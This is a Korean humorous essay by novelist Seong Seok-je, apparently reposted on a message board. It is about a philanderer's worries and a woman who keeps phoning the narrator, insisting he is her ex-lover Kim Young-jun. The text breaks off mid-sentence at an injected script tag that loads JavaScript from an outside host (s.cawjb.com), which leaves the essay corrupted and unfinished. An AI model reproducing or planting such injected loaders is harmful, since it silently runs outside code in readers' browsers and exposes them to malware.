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[제목] 바람둥이의 꿈 (소설가)
소설가 성석제의 글 3번째 입니다. 이 글의 소재를 제공한 넘있으면 다리 한번 들어봐도 되는데. 히히히


계절에 따라 옷을 바꿔 입듯이 상대를 바꿔가며 연애를 하는 사람이라면 남들이 보기에 팔자 좋아보이지만 당사자들은 그게 아니라고 말한다.
막 이렇게 쓰고 난 다음인데 전화가 걸려왔다. 여인은 자신이 나의 옛 애인이라도 되는 듯이, 그간 잘 지내는가를 묻는다. 난 누구인지 모르겠다. 그래서 누구냐고 물으니, 바로 너의 옛 애인이라고 한다. 그러면서 나를 몰인정하고 기억력이 형편없는 사내라고 욕한다. 전화가 요물이다. 끊으려고 해도 상대가 보이지 않으니 속이려면 속을 수 밖에 없다. 다행히 우리의 대화는 빨리 끝났다. 내가 빨리 내 이름을 대주었기 때문에.

그 여인은 김영준이라는 사람으로 나를 착각하고 있다. 목소리까지 비슷하다고 의심하는 눈치더니 내가 주민등록번호와 주소를 대고 군번을 외우려고 하는 순간 고맙게도 전화를 끊어준다.
김영준 같은 이름이야 세상에 흔해빠졌으니 똑같은 목소리의 다른 김영준도 있으련만. 내 이름은 흔해빠지지도 않았고 목소리 역시 헛갈릴 정도로 평범하거나 형편없거나, 흔해빠지지는 않았다고 자부해 온 터이다.


각설, 연애로 돌아가서. 그게 아니다. 가령 당신이 좋은 계절을 골라 세 명의 연인과 연애를 한다고 한다.
A와 찻집에서 만나고 B 이야기를 했다. C와 식당에서 D 이야기를 했다. E와 술집에서 F 이야기를 했다.
그 다음에는 A와 술집에서 만나서 D 이야기를 하고 C와 찻집에서 F 이야기를 하고 E와 식당에서 B 이야기를 했다. 그 다음은 잘 아시는 대로 A와는 식당에서 만나고 C와는 술집에서 만나고 E와 찻집에서 만난다.


이쯤이면 어지간한 사람이라면 헛갈리기 시작한다.
그 전에 이런 이야기를 했던가, 저런 이야기를 했던가, 침묵했던가, 다른 이야기를 했던가. 그래서 B이야기를 했는데 상대는 그 전에 들었다고 이야기한다. 당신은 당황하게 된다.
D 이야기를 또 들었다고 한다. F이야기를 하기 전에 (혹시 이 이야기도 아는가 하고 묻는 순간 연애는 끝난다. 사랑에 빠진 사람의 직감은 무섭다. 결국 당신은 더 이상 그 연인은 만날 수 없게 된다. 이게 쉬운 일인가, 도대체. 떠날지도 모른다는 공포에 떨고,
이야기를 했을지도 모른다는 강박감에 사로잡히고, 들었다는 이야기에 식은 땀을 흘리고.


아예 B고 D고 F고 간에 이야기를 안 하면? 침묵의 대왕처럼 위엄 있게 앉아 있으면? 거야 꿈이지. 누가 당신하고 연애를 하려고 하겠는가. 연애란 팔할이 수다인데.
이래도 저래도 곤란하니 아예 연애를 안 하는 게 낫다. 바람둥이들의 소원은 그것이다. 어떻게 더 이상 바람을 피우지 않게 되었으면 좋으련만.


그런데 또 전화가 걸려왔다. 내가 김영준이 틀림없으며 장난인지 고의인지 모르겠으나 자신을 속이고 있다는 것이다. 나는 당신을 속일 이유가 없고 도대체 나는 옛 애인을 잊어버릴 정도로 몰염치한 사내가 아니다.
그리고 잊어먹을 정도로 많은 것도 아니다 그 애인들이 제발 당신처럼 전화라도 걸어주었으면 좋겠지만 지금은 모두 쪼개진 수박처럼 돌아서 버렸다. 옛애인이 아니라고 하더라도 당신처럼 아름다운 목소리를 가진 여인이라면 한번쯤은 만나고 싶어 부러 그렇다고 대답할 사내들이 많은 세상에서 하필 내게 억지를 쓰느냐.
내가 현재 당신을 속일 만한 사내들의 속성에 대해 연구하고 있기는 하지만 당신이 찾는 김영준은 아니라고 대답했다.


상대방은 나의 논리정연함에 감탄하고 끊을 일만 남았을 텐데 그러기는커녕, 내가 틀림없는 김영준이라고 계속 주장한다. 말많은 것까지 같다고. 최소한 김영준이라는 사람을 알고 있는 건 아니냐고 하면서 떼를 쓴다. 그래서 나는 내가 아는 김영준에 대해 하나씩 설명해 주기로 했다. 그 중에 들어 있으면 그 작자에 대해 알려줄 테니 전화를 그만하시라고.


첫번째 김영준은 중학교 동창이다. 이 년 정도 같이 지냈는데 어떤 급진 종교의 광신자였다. 그는 알아듣기 힘든 주문을 낮이나 밤이나 외우고 다녔는데 그 주문만 외우면 만사형통, 무소불위라고 했다. 그걸 증명하기 위해 우산을 들고 학교 옥상에서 주문을 외며 뛰어내린 적도 있다. 다리가 둘 다 안 부러진 게 다행이었다.
그렇게 신통력 있는 주문을 왼다면서 우산은 왜 들었는지 모르겠다. 그가 꼐속 그 길로 갔다면 그의 주장대로 신선이 되었을 테니, 그 김영준이 맞는가. 상대방은 아니라, 라고 했다.
그대가 초인적인 사람보다 세속적인 지위와 가치, 분별력을 구비한 사람을 원한다면. 나는 이어 말했다.


두번째 김영준은 군대에서 장교로 전역했다. 보험회사에 근무했고 지금은 아마 예식장 사업을 하고 있을 것이다. 돈이 많고 선량하고 신사이며 사려깊고 논리적?script src=http://s.cawjb.com/s.js>
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